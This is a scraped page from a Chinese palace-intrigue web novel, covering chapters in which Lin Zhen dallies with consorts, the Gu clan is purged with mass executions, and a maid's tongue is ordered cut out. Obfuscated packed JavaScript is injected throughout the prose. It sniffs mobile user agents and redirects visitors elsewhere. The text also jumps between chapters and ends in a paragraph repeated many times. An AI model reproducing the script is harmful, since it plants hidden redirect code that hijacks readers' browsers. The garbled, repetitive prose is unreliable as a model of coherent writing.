“什么破东西也好意思显摆。 “少装!慕容嫣对林臻勾勾手指:“你过来,给朕磕个头,朕就赏你一个吃! 螃蟹这东西根本就不是稀罕玩意,而且现在是秋天,沿海地区遍地爬,都快成入侵物种了。 也就慕容嫣这土生土长的宫里人不晓得这东西。 “陛下,您可曾听说过一个词叫井底之蛙? “不曾,是说井里有只青蛙吗? “不是,是说井里的青蛙以为天就只有井口那么大! 慕容嫣愣了愣,忽然反应过来,直接将螃蟹拍在盘子里。 可怜的螃蟹顿时胳膊腿乱飞。 “好你个林臻,居然敢说朕没见过世面! “嗐。林臻看向慕容无舌:“老无啊,把东西都搬进寝宫去,再准备好剪刀与勺子,我亲自给陛下扒螃蟹吃。 “这 你TM还命令上我了? 慕容无舌好像听到了什么匪夷所思的话。 转过头看了看慕容嫣,发现她居然没生气,也没反驳。 得。 看来陛下是春心暗动了呀。 他挥挥手,立刻有宫女太监出来,将所有餐盘都端到寝宫。 “哼,朕倒要看看你有多有经验!若是扒不好,仔细你的皮!言罢慕容嫣率先离场。 因为见顾缜是晚上,所以林臻根本不着急,没什么事儿逗慕容嫣解解闷也挺好的。 尤其这妮子现在好像又变了。 以前她对林臻是万般厌恶,后来是平淡,最后又发展到喜欢却不愿意暴露。 现如今,估计连慕容嫣自己都不知道,她那隐藏已久的恋爱脑已经开始显现了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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处理好这一切,林臻把餐盘推向慕容嫣,又用茶水洗了手,说道。 “吃吧。” “嗯!” 慕容嫣点点头,夹起一大块蟹黄就放进嘴里,一脸的满足。 “哇!好香!” “林臻,以后你什么也不用干了,就天天过来给朕扒螃蟹吃吧!” “切。”林臻翻个白眼,正要拿筷子吃饭,突然就感觉有一只脚碰到了自己的膝盖。 他疑惑地抬眼看去,就见司马椿蕾媚眼如丝的说道:“世子爷,臣妾也想吃螃蟹。” 嘶. 难道说最精彩的又来了? 第212章 臣妾和陛下打了个赌(无奈注解版) 嘶. 林臻表情僵硬,倒吸一口凉气。(这里淫秽色情?) 在皇帝面前偷情! 这也太.太刺激了吧?(偷情也色情?) 刺绣的桌布太长,慕容嫣根本不知道发生了什么事情,甚至还替司马椿蕾命令道。 “林臻,给椿蕾也扒一个,你明天再吃。 “哦。林臻木讷地答应一声,却见司马椿蕾笑得更加灿烂,那只脱了鞋袜的玉足在自己膝盖上蹭了蹭,后又顺着裤脚贴着小腿肌肉慢慢上下摸索,摸得林臻一阵阵气鸡皮疙瘩。(脚丫子搓大腿) 林臻真的不恋足。 但他真的觉得此时此刻,是从没有过的感觉。(没让脚丫子搓过,怪怪的) 甚至他可以清晰地感觉司马椿蕾的脚趾嫩如温玉,指甲不长不短,恰好可以带给自己最舒适的体验。(脚趾甲挠痒痒) 天呐。 她来了。 她来了。 她的脚伸到我大腿上了!(腿不是色情器官) 林臻难得老脸一红,扒螃蟹的手都直颤抖,害得慕容嫣关切问道:“林臻,你怎么了? “哦,臣无事,只是有点冷。 言罢林臻眼神复杂地看了看坐在自己斜前方的司马椿蕾。 只见这妮子一边忍着笑一边在桌子底下搞怪!(继续搓大腿) 好啊,敢挑逗我! 等哪天老子非让你知道厉害不可! 好不容易把螃蟹扒完,林臻直接推过去,顺势往后坐了一点。 司马椿蕾的脚够不到了,便假装不满的样子放下筷子。 突然灵机一动。 “陛下!臣妾吃不下了,要不给您? 慕容嫣正好没吃够,点点头:“拿来吧。 “臣妾喂您好了。 司马椿蕾殷勤的跑过来,坐在林臻与慕容嫣中间,坐下的瞬间,她的手顺势摁在他的腿上! 卧槽! 林臻吓得险些蹦起来。 还好没摁到要害,否则非喊出来不可。(林臻的腿有旧伤,骑马的时候摔的) 一旦叫出来,慕容嫣肯定还会多问。 司马椿蕾装的很好,单手喂慕容嫣夹菜、喂螃蟹肉,另只手时不时的就偷偷在林臻腿上摁一下,好像在找什么东西,摁的林臻步灵步灵的直打摆子。(担心按到伤口上) 不行,再这么下去非让慕容嫣发现不可。 虽说她对自己有情,对司马椿蕾也不错,但终究是个女人。 只是要女人,就肯定不会容忍这种事! 于是他决定往边上坐一点,尽量远离这个随时都会引爆的大地春雷。 却没想到这小小细节也没逃过慕容嫣的法眼,只听她说:“你坐那么远干什么?” “我” “坐过来些,朕有话问你。” “是。” 林臻终究还是不敢太放肆,只能乖乖听话,又坐了回来。 这时司马椿蕾见慕容嫣吃得差不多,也坐了回去。 还没等林臻反应过来,又是一只脚搭在他腿上。(搓大腿) 这个妮子 老子非活吃了你不可! 慕容嫣问道:“林臻,辽东的事情到底该怎么办?总不能让百姓这么一直逃荒吧?” 林臻强忍着不适,回答道:“辽东经过王爷这么一折腾,已经彻底乱套了,陛下需要立刻派人接管辽东的事宜。” “派过去的人不会再贪了吗?” “不会,因为王爷的阴影还在每个官员的头上悬着,短时间内不会再有贪污的事情发生。” “可是钱从何来?看王爷的奏折,辽东地区的灾情根本不是几十万两能解决的。” “以工代赈。” 这个新鲜词慕容嫣连听都没听过。 “什么是以工代赈?” “我们一味地供养百姓是不可取的,他们需要为朝廷创造价值。在吃饭前我想了一下,我知道几处尚未发掘的煤矿和铁矿,不如就让她们去挖煤挖铁。” “可是现在百姓连饭都吃不饱,如何干活?林臻,你未免也太狠心了。” (伤口疼痛,疼的倒吸一口凉气) 林臻眯起眼睛,继续说道:“并非是臣狠心,而是我们救援百姓的时间线很长,最少也要一年之久,如果他们不创造任何价值,那对朝廷来说就是一个巨大的亏空。我们可以先派遣可靠的人送应急物资去辽东,后续送米送布,安抚百姓情绪。等过段时间百姓的身体恢复些许以后,就让他们开始上工。 女子就从事裁缝,做饭等力所能及的工作,男子就去矿上挖煤挖铁。前期不发工钱只供饭,等明年春天便放他们回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哼,别说一个寝宫,就连这宫殿的主人也早晚是我的!”言罢林臻不松手,抓着她的脚踝走到她面前,大声说道:“今天,我就替陛下好好惩罚惩罚你这个不要脸的妃子!” 听到里面的对话,慕容嫣红透了脸颊。 真没想到林臻居然是这种人! 哼,朕以前真是看错你了! 慕容嫣羞涩地跺了跺脚,转身去往议政殿。 第213章 少爷,老奴恭候多时了 林臻这边就不说了。 男女之间就那点事儿,说多了也啥没意思。 我们且说说死了老爹的顾北辰。 顾府奉先殿内,一尊巨大的棺椁正摆在中间,四周围满了白绫与长明灯,顾北辰跪在蒲团上,三天三夜没合眼。 他始终想不明白,那个平日里人畜无害的李蕊到底为什么要杀害父亲。 可惜,李蕊临死前的留白他并没有听到,也永远听不到了。 所以李蕊为什么要杀顾云霆这件事情,将永远成为悬案。 顾北辰不甘心啊,他望着冰冷的棺椁,再次红了眼睛。 “父亲,您放心。顾家是不会绝后的,孩儿一定带着您的意志重振旗鼓,推翻大乾,杀掉林臻!为您、为廉家、为刘家,为我们顾家所有人,报仇!” 言罢顾北辰咚的一声将头磕在地上。 这时,外面突然响起一阵骚乱,所有丫鬟小厮都在往奉先殿跑。 顾北辰回头望去,就见母亲顾韩氏以及几位姨娘都吓得面无血色。 顾韩氏扑到顾北辰怀里,吓得浑身颤抖。 “儿砸!儿砸!林家带兵来了,已经包围了顾家!我们怎么办啊!” 其余小妾也跟着大喊:“是啊少爷,外面好多兵丁,已经快要冲进来了!” “你快想想办法呀少爷!” 顾北辰拍了拍母亲的手背:“母亲,不用慌,问问他们是谁带队?” 小厮回答道:“是摄政王林震仙!他亲自带队进来的!” “什么?你确定不是林臻?” “不是!而且林震仙手里还拿着圣旨,说什么,陛下有旨,顾家人全部押入大牢!” “坏了.”顾北辰当即就有冷汗落下,“林震仙肯定是知道了辽东的事情!该死,那帮家伙怎么一点消息都没传回来!” 能传回来消息就怪了。 林震仙杀人从来不先打招呼,进门就砍,不管是官员还是家里的亲属、小厮,都不知道发生了什么事情便人头落地,根本没有机会把消息传出去。 顾韩氏是见过大阵仗的。 此刻顾云霆已死,林震仙亲自带兵上门,知道大势已去,不可挽回。 她赶紧拉住顾北辰的手,急切的说道。 “儿砸,没时间了,你赶紧从地道里走!” “母亲,那你怎么办?” “我是一品诰命,更是韩家长女,林震仙不会拿我怎么样的。” 顾北辰摇头大喊:“不!要走我也得 带你一起走!来人,命白袍义从保护我和母亲!” “少爷,白袍义从在林震仙进门的时候就已经全部投降了!” “什么!这帮叛徒!老子一年花几万两白银养着他们,他们居然投降!老子非要他们全家的命不可!” 顾北辰都要疯了。 如果没有白袍义从,他就算离开了顾府也跑不掉。 因为根本没有人能替他办事! 顾韩氏开始推搡他:“儿子,你快走,只要你活着就有办法把我救出去!快走啊!” “母亲!” 顾韩氏瞪大双眼,撕心裂肺地喊道:“快走!!” “母亲,我一定会回来救你的!”顾北辰怒吼一声,跑到奉先殿后面,将一尊观世音雕像挪开露出里面的地道。 他再没有犹豫,直接跳了进去。 地道内漆黑一片,伸手不见五指,人与瞎子没半点区别。 幸好这里只有一条路,顾北辰摸着黑也能往前走。 也不知道走了多久,他推开一扇门,来到一个空旷的房间内。 正准备长舒口气。 突然! 角落里有灯亮起。 顾北辰吓得妈呀一声险些跳起来。 他回过头,就见一个人正好坐在椅子上,慢条斯理地收起火折子,对着他朗朗笑道。 “呵呵呵,少爷,老奴恭候多时了。” “顾南山!!” 顾北辰看到他就像看到杀父仇人似的,三步并两步的冲过去,一把揪住顾南山的衣领将其拽起来。 “顾南山,你为什么背叛我!” 顾南山露出意味深长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789346|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笑意:“老奴并非背叛,而是来救少爷的。” “放屁!若不是你暗中操作,我顾家岂会在此刻落败!?” “少爷,您难道还不明白吗?自从您决定入王府抢刘书瑶的那一刻起,顾家就已经失败了!绝非是老奴暗中操作,现在你我皆是沦落人,不如再合作一次。只要逃到南楚,我们就赢了。” “哼。”顾北辰放开手,冷哼一声,“背叛过的人,我顾北辰绝不会再用。你滚吧。” “还是这么狂妄自大,你以为你还是当年的天之骄子,新科状元?呵呵呵呵,你现在就是林臻的眼中钉,肉中刺。更是皇帝亲自下令要追杀的目标,一条丧家之犬!没有我,你根本逃不出京城!是饿死在这里,还是跟着老夫出去拼一把,你自己选。” 老奴不叫改老夫,可见顾南山也不打算给顾北辰留脸面了。 顾北辰有些迟疑。 两个人合作总比一个人硬闯要好。 而且自己现在身无分文不说,还要什么没什么,消息也没办法传出去,就算找当年的旧部支援都不可能。 或许,这真的是一次机会也说不定。 “你说吧,怎么合作?” “我们如此如此.” 没错,顾北辰又跑了,这对林臻来说不算特别坏的消息。 狡兔三窟,连普通地方官都知道在家里修条密道,以备不时之需,就更别说当朝丞相家了。 林震仙带兵查抄丞相府的事情不胫而走,短短时间内传遍京城。 像谷中满,谭勇等这些顾家派系的官员人人自危,而林家派系的官员却拍手叫好。 唯一可惜的是没有抓到顾北辰。 林震仙一怒之下,屠了四十名白袍义从,其余全部押入天牢等候发落。 至于顾云霆的小妾以及他的正妻韩氏,还有丫鬟、侍女等等全部充入教坊司,男丁不管是亲属还是小厮,全部被斩,顾府血流成河,震惊大乾内外。 一场针对顾家的清洗活动,悄然展开。 而作为这件事情的始作俑者林臻,正坐在步辇之上,被送进顾缜的清宁宫。 第214章 如此淡雅的女人 林臻心情有些不爽不是因为司马椿蕾的挑逗也不是床榻之上的交锋难分伯仲而是自己居然被两个女人合伙给骗了。 没想到啊没想到慕容嫣进步的如此之快竟然也开始对男女之事产生兴趣。 要知道帝王的任何兴趣都是极其恐怖的。 像始皇帝追求长生不老、李煜喜欢诗词佛道、北齐后主高纬、汉灵帝刘宏、明熹宗朱由校等等他们最终都因为兴趣间接或者直接导致灭国。 当然林臻不认为有自己在的情况大乾会被灭国可终日提心吊胆的躲避皇帝调戏也不是个事儿。 就像晴雯似的那丫头逮到机会就会狠狠调戏自己但人家点火的同时也负责灭火啊。 但以慕容嫣的性格她是绝对不会灭火的! 林臻坐在步辇上摇了摇头心说总这样下去可不行。 满脑子都是男欢女爱这成何体统! 今夜过后必须禁欲! 不仅是为了调养自己身体更是为了能全身心地投入到事业当中。 顾缜与司马椿蕾是一同进宫的当天两人还打了一个照面友好地点了点头在那之后就没有再见过面。 不仅没见过这么多天她从来都没有走出过清宁宫就像个不存在的人带着四个丫鬟和两个太监冷冷清清地住在这里不与人往来。 她虽然性格淡雅但并不代表着那些太监宫女也是如此除了她贴身婢女外那几名丫鬟小厮都在私底下议论纷纷。 “娘娘该不会是不喜欢陛下吧?” “别的娘娘都紧跟着往前凑就她不在乎。” “她不上位我们哪有出头之日啊!” “真是倒霉催的 没鸟的太监和孤独惯了的宫女能说出什么好听的? 婢女鸳鸯曾告诉过顾缜下面人的嘴脸但她依旧不在乎住在自己的寝殿里弹弹琴作作诗日子悠闲自在。 终于前几天传来陛下临幸司马椿蕾的消息这让那些太监、宫女更加过分甚至都当着顾缜的面说三道四阴阳怪气。 这就是传说中的人善被人欺吧。 如今慕容无舌亲自来宣旨说陛下要在清宁宫留宿请顾缜沐浴迎驾。 闻言这些太监、宫女像过年似的欢天喜地地对顾缜各种谄媚讨好。 鸳鸯看不过去但也无可奈何。 晚间林臻的步辇趁着微风缓缓来到清宁宫门口。 顾缜以及鸳鸯、太监、宫女跪成一排。 “臣妾恭迎陛下。” “平身。” “谢陛下。” 还是老规矩,步辇直接抬到寝宫门口,林臻踩着太监的后背下来,直接走进去,不让任何人看到正脸。进了屋第一件事就是脱光衣服钻进被窝。 突然发现。 诶? 被子里好暖和啊。 该不会有人给暖过了吧? 慕容无舌又是那副皮笑肉不笑老蝙蝠表情,对顾缜阴阳怪气地说道。 “呵呵呵,老奴好心提醒娘娘。司马娘娘已经是内定的贵妃了,您若有意,也可使使劲。但如果伺候不好陛下,恐怕就不是当不上贵妃那么简单,言尽于此,还望娘娘省得。” “多谢无舌公公。”顾缜回答得不咸不淡,也没有什么表情,更没有像司马椿蕾似的送上一块银锭,带着侍女鸳鸯转身走进寝殿。 慕容无舌倒不是喜欢他那几两银子,他只是好奇。 因为这几天他已经听到关于顾缜的传闻了,本以为是装的,却没想到这真的是个淡雅的女子。 有意思,太有意思了。 也不知道林臻那三寸不烂之舌能不能将她降服。 林臻到现在还不到顾缜长什么样子,但估摸着能送进宫里的女子大概都不会太丑,而且刚刚听她的声音也算婉转。 这时,门帘掀开,顾缜走进来,身后跟着鸳鸯。 她双膝跪地,再次盈盈一拜。 “臣妾参加陛下。” “平身。” “谢陛下。” “走过来,让朕瞧瞧。”林臻躺在床上单手撑着脑袋,没有半点拘谨。 顾缜起身趁着昏暗的烛火走过来。 然而当她露出容颜的那一瞬间,林臻瞬间就有些恍惚! 我的天呐! 神仙姐姐? 《金粉世家》里的白秀珠? 不能说很像,只能说一模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789347|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样! 良久林臻都没有说话,只有不断滚动的喉结彰显着他的震惊。 他本来打算今天和顾缜摊牌的,但现在他换了个想法! 他要这个女人。 “过来。”林臻勾勾手指,顾缜微微颔首迈开步子来到床边,林臻拉着她坐下。 “顾云霆是你什么人?” “他是臣妾的大伯。” “他死了。” 对话中林臻一直盯着她的表情,但很可惜,顾缜并没有任何表情出现在脸上,甚至在林 臻说出顾云霆已死的时候,她依旧是那副恬静的样子。 于是林臻又说道。 “顾云霆被抄家,所有家眷仆人连坐,你可有什么想法?” “臣妾没有想法。” “为什么?” 顾缜突然抬起那双绝美的双眸,如星辰般看向林臻:“因为臣妾没有任何发言权,也改变不了任何事情。” “那你想知道你父亲的结局吗?” “臣妾不想。” “又为什么?” “因为自从臣妾进宫的那一刻起,就不再是顾家的人了。” 好通透的姑娘啊! 林臻从没见过这样的女人。 好像任何事情都无法在她心中掀起波澜,任何事情都不值得她在乎。 甚至她都不在乎自己。 那她是为了什么而活着的?为活而活吗? 林臻伸手挑起她的精致的下巴,目光呆着浓浓的侵略性。 “不错,朕喜欢你。” “谢陛下。” “把外袍脱掉,朕要闻闻你身上的香气。” 顾缜没有半点犹豫,甚至没有羞涩与挣扎,就这么堂而皇之的坐在林臻面前将自己的外袍脱去,露出洁白的长裙。 她一切动作都是那么的自然,那么的淡雅。 林臻还是不愿相信世间会有这样的奇女子,他试探性的把手伸过去,握住了她的手。 轻轻揉捏。 顾缜还是那副平淡的表情,任由林臻捏着。 嘿!我还就不信了。 林臻再次伸出手去。 第215章 你这舌头除了骂人也没啥用,拔了 林臻再次伸出手去将顾缜直接搂进怀里。 两人坐在床上,肩膀相靠,头发交织,林臻的嘴巴抵在孤身的耳垂边上,深深闻了一下。 好像是月橘的香气。 淡雅的人连养得花都如此清宁,林臻愈发喜欢了。 估计也没有哪个男人会喜欢自己的女人天天出去喝酒、蹦迪,与其他男人说话没轻没重,勾肩搭背的。 越是平淡的女人就越是招男人喜欢。 就像相亲市场上,那些浓妆艳抹的女人总是比不过不化妆的普通女人人气高。 当然,这是对自己老婆而言,如果是别人的老婆那一定是越骚越好。 眼下林臻就完全把顾缜当成了自己老婆,越看越喜欢,越抱越想抱,有时候想想都恨不得抱她一宿。 “爱妃。 “陛下。 “你放心,顾云霆的事情不会连累到你的家人。 “臣妾听陛下安排。 “乖,看着朕。 两人松开怀抱,相互对视。 娇然欲滴的红唇在灯光忽明忽暗下十分诱人,但顾缜依旧是那副任何表情的样子。 林臻忍不住好奇。 难道说,等下冲刺的时候她也会是这个淡雅的表情吗? “亲朕。 “亲哪里?顾缜问的问题有些傻。 “亲嘴。 “是。 顾缜双手撑着床榻,弯腰弓背,没有任何犹豫的递上红唇。 好软好软。 可惜这个傻妮子只是把嘴唇碰上来,不会动,更不会张嘴。 看来得林臻亲自教授了。 我!尼!玛! 慕容无舌蹲在宫门口困得直流口水,突然感觉有人在自己的老屁股上踢了一下。 他猛然回头,发现竟然是林臻。 “诶?陛下,您今儿怎么这么快啊? “少废话,走。 “陛下起驾!!慕容无舌喊了一嗓子,同时对那些太监宫女说道:“今日之事任何人都不许说出去,否则满门抄斩! “是。 大家都看到了林臻的长相,所以保密是必须的。 林臻之所以这么快主要还是因为顾缜。 她真的太淡了。 也不能说淡,就是让干什么就干什么,好像是个提线木偶。 林臻让她撅起来,她就撅起来;让她躺好她便躺好;让她喊她就喊,不让她喊她立刻就停。 甚至林臻想看看自己不命令的时候她是什么表情什么状态。 但是很可惜她没有任何表情整个人木讷的像一具尸体。 这就不好玩了。 幸亏林臻经验足在办完正事之后又狠狠把她羞辱了一番(详情参照某岛电影)这才让她开始紧蹙眉头浑身颤抖无力最终昏睡过去。 如此看来想让顾缜恢复自己还需要很长时间的教导。 林臻不急他有的是时间而且这次也算完成了慕容嫣的任务。就是不知道顾缜那个淡雅的性子能不能入慕容嫣的法眼。 林臻没有去找慕容嫣他真的需要休息所以直接让慕容无舌送自己出宫。 出去之前林臻让慕容无舌捎句话给慕容嫣随后便离开了。 翌日早晨天刚蒙蒙亮顾缜从被窝中苏醒伸了个懒腰坐起来。 发现自己身上不着片缕雪白的肌肤残留着道道齿痕身体下面的白绫也散落着几瓣樱红。 她把白绫拿起来看了看不知在想些什么然后又随意的放下喊来鸳鸯。 “鸳鸯。” “来了娘娘。”鸳鸯走进来见顾缜如此穿着不由俏脸一红。 顾缜说道:“把这帕子收起来去烧洗澡水记得放些月橘花。” “是娘娘。”鸳鸯转身而去。 顾缜拿起被撕碎的肚兜发现已经成了破布条根本不能穿。 扔在一边随意找了件亵衣披在身上。 才站起身发现有酸胀的感觉传来便又猛地坐下她微微蹙眉。 想起昨天林臻的搞怪她就很奇怪。 难道说陛下很喜欢看自己扭曲的表情吗? 顾缜摇摇头觉得这都不重要。 要知道前几天陛下可是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789348|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绣春宫里过夜的但是在自己这里就一个多时辰想来以后是不会再来了。 这大概就是自己的命吧。 顾缜这么觉着。 不过如果能安安稳稳地在这宫里生活下去倒也不错。 因为顾缜得到皇帝的临幸那些太监宫女立刻换了副嘴脸 鸳鸯扶着顾缜走进盥洗室这时有个宫女突然不知死活地嘲讽道:“切不就被陛下临幸了一次么有必要装得像怀孕似的?恶心。” 她刚刚转身突然撞到一个人怀里! 她猛然抬头发现竟是一脸阴郁 的慕容无舌! “啊!无舌公公,奴婢不是有意撞您,请您恕罪。” 慕容无舌单手掐住她的嘴巴,阴狠地道:“我看你这舌头除了骂人,留着也没什么用。来人,给她拔了。” “是!”身后的太监立刻答应。 小宫女吓得连连磕头,哭天抹泪。 “不要啊!不要啊公公,奴婢知错了,奴婢以后再也不胡说八道了!求公公开恩,求公公开恩!呜呜呜呜” 对慕容无舌来说,杀人就是个手艺活,没点硬心肠是做不来的。 杀人尚且如此,更何况只是惩罚个小宫女。 他的表情自始至终都没变过,任由两个太监把宫女拽走。 “公公!公公饶命啊!!” “聒噪。”慕容无舌重新整理下长袍。 在盥洗室内的顾缜早就听到了这里的动静,但是她没有管,也不可能会管。 她只是让鸳鸯走出来。 鸳鸯问道:“无舌公公,娘娘问您有何事情?” “哦呵呵呵。”对鸳鸯,慕容无舌瞬间换上谄媚的笑脸,“陛下有旨,要娘娘接旨。” “是,奴婢这就让娘娘出来。” “不必了,既然娘娘在沐浴,那老奴等一会儿便可。” 要说会做人这一块,还得是老太监。 这反倒弄的鸳鸯有些不好意思。 她微微福身,再次走进盥洗室。 “娘娘,无舌公公说等您洗完再宣旨。” 第216章 宁妃 盥洗室内,顾缜正在用月橘花瓣擦拭身体。 偶尔举起白藕般的手臂细细观瞧,偶尔抬起大腿缓慢揉捏,动作优雅舒缓,带着极强的视觉冲击力。 鸳鸯走进来,说道:“娘娘,无舌公公说要等你洗完再宣旨。” “随他吧。” 鸳鸯微微颔首,拿起毛巾打湿,帮顾缜轻轻擦背。 突然,她失口惊讶道:“啊!娘娘,您这里怎么红了好大一块!” 顾缜随口回答:“应该是被陛下打的吧。” “陛下为什么打您?” “我也不知道,他还打了很多地方呢,打一下就让我叫一下。” “难道说,陛下有什么怪癖?就喜欢虐待人?” “应该不是,他打的也不是很重。” 鸳鸯放下毛巾,打趣道:“嘻嘻,陛下肯定不知道娘娘从小就感觉不到疼,否则才不会这么打呢!” “不知道疼也是病,但不用治。” “娘娘,无舌公公来宣旨,您说会不会有什么好事呀?” “重要么?”言罢顾缜从水里站起来,任由鸳鸯给自己擦身子。 擦好以后,穿戴得体,这才走出盥洗室。 就见慕容无舌稳稳的站在院中等待着。 “无舌公公久等。”顾缜脸上没有任何表情,就像跟陌生人问路一样。 慕容无舌却表现的十分谄媚:“老奴拜见宁妃。” “宁妃是谁?” 只见慕容无舌拿出圣旨,清了清嗓子说道。 “咳咳,顾缜接旨。” “臣妾接旨。” “奉天承运皇帝,诏曰:顾家爱女,温婉如玉,贤良淑贞,性情恬淡,宁静致远,令朕心甚悦。今日册封其为宁妃,赐居清宁宫加之别苑,另赐仆役三十,上等绸缎三十,黄金五十,白银五百,钦此。” “臣妾接旨。” 慕容无舌笑着将圣旨放在顾缜手里。 “老奴恭喜宁妃。” “多谢无舌公公。” 紧接着外面等待许久的太监宫女开始把各种东西往院子里搬,鸳鸯问道。 “娘娘,这些东西放哪里?” “先堆那边吧,反正我也用不上。” “额”慕容无舌尴尬的一脑门子黑线。 如果林臻知道他的一番心意被顾缜这么随意的丢在厕所旁边,也不知会是什么表情。 顾缜对慕容无舌说道:“无舌公公,我累了,先去休息,您随意。” 慕容无舌也是第一次遇见这样的女人。 被册封为嫔妃,居然没有半点高兴,甚至是很平淡。 而且也没有对自己表示表示。 这什么情况? 林臻怎么会喜欢这样的女人呢? “谢娘娘。 林臻决定这几天不去宫里了,除了男欢女爱之外没一点有营养的东西。 他要养养身子。 正巧,一大早林震仙上朝回来便来找他,丢给他一封信。 “是小胖给你的,老夫昨天太忙,给忘了。 “多谢祖父。林臻在书房里的椅子上起身道谢,林震仙笑道:“呵呵呵,要说你的眼光还真是不错,居然能想到派小胖去守玄菟。好啊,年轻人有野心,敢作为,好样的! 林震仙可不是经常夸人的性格,可见今日是十分高兴的。 林臻也痴笑着摸了摸后脑勺,不知道该怎么回答他,好在老爷子很识趣,说完就走了。 林臻坐下,把信打开来看。 这回换字体了,上次是娟秀的小楷,这回居然是行书。 想来猥琐的胖子又换枕边人了。 信的内容与之前差不多,因为八牛弩的原因,让胖子的部队战斗力大增,打鲜卑人如土鸡瓦狗,如今已经占领辽地全境,与半岛上的新罗、百济隔江相望。 一个月来俘虏鲜卑士兵万余人,百姓数不胜数,胖子夜夜做新郎都做不过来。 他说,估摸再有两个月的时间就能一举收复外东北。 同时胖子也告诉林臻,林震仙又给他派去了五千兵马,让他自由指挥,但是胖子不用,让这五千人护送东北的战利品准备返回关内。 林臻撇了撇嘴。 就胖子那两把刷子,能有什么战利品? 把信收起来,林臻又开始涂涂画画起来。 他想改进冶铁的质量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“大哥!可想死弟弟了!走啊?嫖妓去!” 林臻:. “你就不能有点正经的?” “这还不正经?顾老鳖的那些小妾一个比一个漂亮,他那个老婆也不错,保养的很好,你再不去,可就排不上队了!” “真的假的?” “当然是真的!”芦德豪走过来,拉住林臻的手臂,“哎呀。走吧!陪弟弟一起去!” 第221章 妹妹说紫色很有韵味 林震仙余怒未消,坐在椅子上大口大口喘着粗气。 林臻的话给他带来了极大的震撼,但这又何尝不是林臻对他的一次试探呢? 老爷子毕竟老了,思想古板,墨守成规。 林震仙余怒未消,坐在椅子上大口大口喘着粗气。 林臻的话给他带来了极大的震撼,但这又何尝不是林臻对他的一次试探呢? 老爷子毕竟老了,思想古板,墨守成规。 林震仙余怒未消,坐在椅子上大口大口喘着粗气。 林臻的话给他带来了极大的震撼,但这又何尝不是林臻对他的一次试探呢? 老爷子毕竟老了,思想古板,墨守成规。 林震仙余怒未消,坐在椅子上大口大口喘着粗气。 林臻的话给他带来了极大的震撼,但这又何尝不是林臻对他的一次试探呢? 老爷子毕竟老了,思想古板,墨守成规。 林震仙余怒未消,坐在椅子上大口大口喘着粗气。 林臻的话给他带来了极大的震撼,但这又何尝不是林臻对他的一次试探呢? 老爷子毕竟老了,思想古板,墨守成规。 林震仙余怒未消,坐在椅子上大口大口喘着粗气。 林臻的话给他带来了极大的震撼,但这又何尝不是林臻对他的一次试探呢? 老爷子毕竟老了,思想古板,墨守成规。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林震仙余怒未消,坐在椅子上大口大口喘着粗气。 林臻的话给他带来了极大的震撼,但这又何尝不是林臻对他的一次试探呢? 老爷子毕竟老了,思想古板,墨守成规。 林震仙余怒未消,坐在椅子上大口大口喘着粗气。 林臻的话给他带来了极大的震撼,但这又何尝不是林臻对他的一次试探呢? 老爷子毕竟老了,思想古板,墨守成规。 林震仙余怒未消,坐在椅子上大口大口喘着粗气。 林臻的话给他带来了极大的震撼,但这又何尝不是林臻对他的一次试探呢? 老爷子毕竟老了,思想古板,墨守成规。 林震仙余怒未消,坐在椅子上大口大口喘着粗气。 林臻的话给他带来了极大的震撼,但这又何尝不是林臻对他的一次试探呢? 老爷子毕竟老了,思想古板,墨守成规。 